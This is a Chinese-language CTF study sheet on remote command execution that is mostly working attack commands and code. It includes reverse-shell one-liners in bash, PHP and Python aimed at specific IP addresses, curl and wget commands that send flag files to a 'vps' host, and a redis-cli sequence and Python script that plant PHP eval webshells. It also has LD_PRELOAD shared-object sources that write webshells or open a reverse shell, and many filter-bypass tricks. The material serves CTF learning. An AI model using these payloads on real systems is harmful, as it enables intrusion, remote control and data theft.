RCE合集 对于 CTF,RCE显然是绕不开的话题,但是个人总感觉 RCE 中个别 bypass 和命令有些模糊,遂写一下 RCE 合集,以供自己学习记录和他人参考。
本文虽然叫 RCE 合集,但是不局限于 RCE,而是扩展到一些有趣的东西,供大家参考。
本文将从下面来讨论:
一些 RCE 命令
RCE bypass trick
常见的 RCE 绕过场景
杂项
整理不周,仅供参考。
一些 RCE 命令 bash Fuck:BashFuck Payload Generator
反弹shell 反弹Shell,看这一篇就够了-先知社区
java Java反弹shell小记(个人学习记录) - yunying - 博客园
1 bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyMy41Ny4xMDcuMzMvMTMzNyAwPiYx}|{base64,-d}|{bash,-i}
bash 1 bash -c 'bash -i >& /dev/tcp/123.57.107.33/1337 0>&1'
php 1 php -r '$sock=fsockopen("47.xxx.xxx.72",2333);exec("/bin/sh -i <&3 >&3 2>&3");'
python 1 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.xxx.xxx.72",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
查找文件 1 2 find / -name "flag*" 2>/dev/null find . 2>/dev/null | xargs grep flag\{ 2>/dev/null
Shell盲注 1 2 3 [ "$(/readflag | cut -c 1) " = "f" ] && sleep 3 if [ "$(/readflag | cut -c 1) " = "f" ]; then sleep 8; else sleep 0; fi
awk 1 awk '{system("tac /f*")}' 1.php
sed 1 2 3 4 5 sed 'param=/esca/d;s/shell_exec/system/g;w 1.php' index.php
curl 外带 哈?命令注入外带数据的姿势还可以这么骚?-腾讯云开发者社区-腾讯云
1 2 3 curl http://vps:1337/ -F xx=@/flag -X POST curl${IFS} http://vps:1337/?`cat ${IFS} /f*` wget –post-file trophy.php http://vps:1337
写shell 1 curl -O 1.php http://vps/1.txt
数据库 mysql 1 mysql -u root -p123456 -e "use test;select * from user;"
redis 1 2 3 redis-cli -a admin123 KEYS "*" redis-cli -a admin123 GET "flag" echo -e "AUTH 20220311\nCONFIG SET dir /var/www/html\nSET x '<?@eval(\$_POST[1]);?>'\nCONFIG SET dbfilename a.php\nSAVE" | redis-cli
RCE bypass trick 通配符 * 可以指代 0个或多个 任意字符,而 ? 表示一个字符的占位符。
正则 1 2 cat fla[f-h]. /???/????????[@-[]
分隔关键词 常见的分割但是可以等价的符号有:
变量替换 字母变量替换 1 a=f&&b=lag&&c=ca&&d=t&&$c$d /$a$b
空格替换
inode号 1 2 ls -i /cat `find / -inum 787511`
转进制 1 2 3 cat /$'\146\154\141\147' cat /$'\x66\x6c\x61\x67' $'\154\163'
编码 1 echo "Y2F0IC9mKg==" | base64 -d | bash
读文件 不需要完整文件名 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 cat /f*tac /f*more /f* less /f* head /f*tail /f*nl /f*sed p /f* sort p /f*uniq /f*pr /f*rev /f* od -c /f*、vim /f* vi /f* man /f* paste /f*grep { /f* file -f /f* diff /f* /etc/passwd xxd /f* cp /f* /dev/stdout
需要完整文件名 1 2 3 4 5 dd if =/flaga=$(date -f /f* 2>&1);echo $a ; a=$(. /f* 2>&1);echo $a ; a=$(/f* 2>&1);echo $a ; curl file:///flag
常见的 RCE 绕过场景 BashFuck Payload Generator
命令关键词被过滤 1 2 3 4 5 6 7 8 a=c;b=at;$a$b flag c'' at flag c"" at flag c\at flag cat $u flag l${b} s `echo Y2F0|base64 -d` flag echo "63617420666c6167" | xxd -r -p | bash
文件关键词被过滤 1 2 3 4 5 6 7 cat fla* cat f??? cat flag$u cat fl"a" g cat fl'a' g cat /[e-i][k-n][1-z][e-i] php -r "echo chr(47).chr(102).chr(108).chr(97).chr(103).chr(10);system('cat '.chr(47).chr(102).chr(108).chr(97).chr(103));"
/ 被过滤linux 中有很多变量,${PATH}、${HOME}、${SHELL}
截取用法:${var_name,start,length}。
空格被过滤 1 2 3 4 5 6 7 < $IFS ${IFS} $IFS$9 {cat ,/flag} %20 %09
无回显写文件/复制文件 1 2 3 cat /flag > /var/www/html/flag.txtcat /flag | tee /var/www/html/flag.txtcp /flag flag.txt
严格限制长度写文件构造shell RCE篇之限制长度下的命令执行_51CTO博客_命令行参数长度限制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 import requestsimport time url = "http://ff2d125b-85e0-4c9a-a5bb-ac6ff03890f5.challenge.ctf.show/" payload = [ ">hp" , ">1.p\\" , ">d\\>\\" , ">\\ -\\" , ">e64\\" , ">bas\\" , ">7\\|\\" , ">XSk\\" , ">Fsx\\" , ">dFV\\" , ">kX0\\" , ">bCg\\" , ">XZh\\" , ">AgZ\\" , ">waH\\" , ">PD9\\" , ">o\\ \\" , ">ech\\" , "ls -t>0" , ". 0" ] def writeFile (payload ): data = { "cmd" : payload } requests.post(url, data=data) def run (): for p in payload: writeFile(p.strip()) print ("[*] create " + p.strip()) time.sleep(1 ) def check (): response = requests.get(url + "1.php" ) if response.status_code == requests.codes.ok: print ("[*] Attack success!!!Webshell is " + url + "1.php" ) def main (): run() check() if __name__ == '__main__' : main()
原理就是 > 创建文件,然后 \ 表示命令没结束,换行继续输入。
注意这里全部都需要转义,也就是特殊符号前还需要加一个 \。
最后直接 ls -t > qwq 写一下就行。然后执行。如果用 dir 而不用 ls,就不用加 \,因为输出的结果不带换行。
*这个对权限有要求,如果需要的话还需要加一下 chmod 777 。
注入环境变量构造shell 我是如何利用环境变量注入执行任意命令 | 离别歌
Bash 4.4以前:env $'BASH_FUNC_echo()=() { id; }' bash -c "echo hello"
Bash 4.4及以上:env $'BASH_FUNC_echo%%=() { id; }' bash -c 'echo hello'
1 2 get[BASH_FUNC_echo%%]=() { cat /f*; } parma[BASH_FUNC_echo ()]=() { id; }
LD_PRELOAD劫持 LD_PRELOAD 是 Linux 系统中的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。其功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库 ,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序 ,从而达到特定的目的。
__attribute__ 是 GNU C 里一种特殊的语法,语法格式为:__**attribute__** ((attribute-list)),若函数被设定为constructor属性,则该函数会在main()函数执行之前被自动的执行。类似的,若函数被设定为destructor属性,则该函数会在main()函数执行之后或者exit()被调用后被自动的执行。
__**attribute__**((constructor)) 在加载共享库时就会运行。
编译指令:
1 gcc -shared -fPIC -o evil.so evil.c
设置环境变量时触发 在PHP中设置 LD_PRELOAD 环境变量,并且有一个能 fork 一个子进程(system())并触发加载共享库的函数被执行,那么就能执行任意代码。
虎符CTF2022赛后复现 - 枫のBlog
1 2 3 4 5 6 7 8 9 #include <stdio.h> #include <unistd.h> #include <stdio.h> __attribute__ ((__constructor__)) void angel (void ) { unsetenv("LD_PRELOAD" ); system("echo \"<?php eval(\\$_POST[cmd]);?>\" > /var/www/html/shell.php" ); }
初始化 so 触发 【Web】RCTF 2025 wp(随便看看-CSDN博客
只要 LD_PRELOAD 设置了该 .so,init() 就会在程序启动时自动调用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #include <stdlib.h> #include <string.h> #include <unistd.h> void payload () { unsetenv("LD_PRELOAD" ); system("bash -c \"bash -i >& /dev/tcp/8.138.38.81/1337 0>&1\"" ); } __attribute__((constructor)) void init () { if (getenv("LD_PRELOAD" ) != NULL ) { payload(); } }
劫持环境变量调用栈触发 【2022DASCTF X SU】 三月春季挑战赛 web复现_2022dasctf x su 三月春季挑战赛-CSDN博客
浅谈LD_PRELOAD劫持_ldpreload-CSDN博客
查看调用的底层C:
注意,参数名和参数类型必须正确。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #include <stdlib.h> #include <stdio.h> #include <string.h> void payload () { printf ("hello i am haker!!!\n" ); } int strncmp (const char *__s1, const char *__s2, size_t __n) { if (getenv("LD_PRELOAD" ) == NULL ) { return 0 ; } unsetenv("LD_PRELOAD" ); payload(); }
VNCTF 2024 Writeup - Kengwang 博客
这里用到了 whoami,劫持 geteuid。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 #include <stdlib.h> #include <stdio.h> #include <string.h> void payload () { FILE* file = fopen("/var/www/html/flag.php" , "w" ); fputs ("<?php eval($_POST[0]); ?>" , file); fclose(file); file=NULL ; } int geteuid () { if (getenv("LD_PRELOAD" ) == NULL ) { return 0 ; } unsetenv("LD_PRELOAD" ); payload(); }
杂项 bash 命令执行规则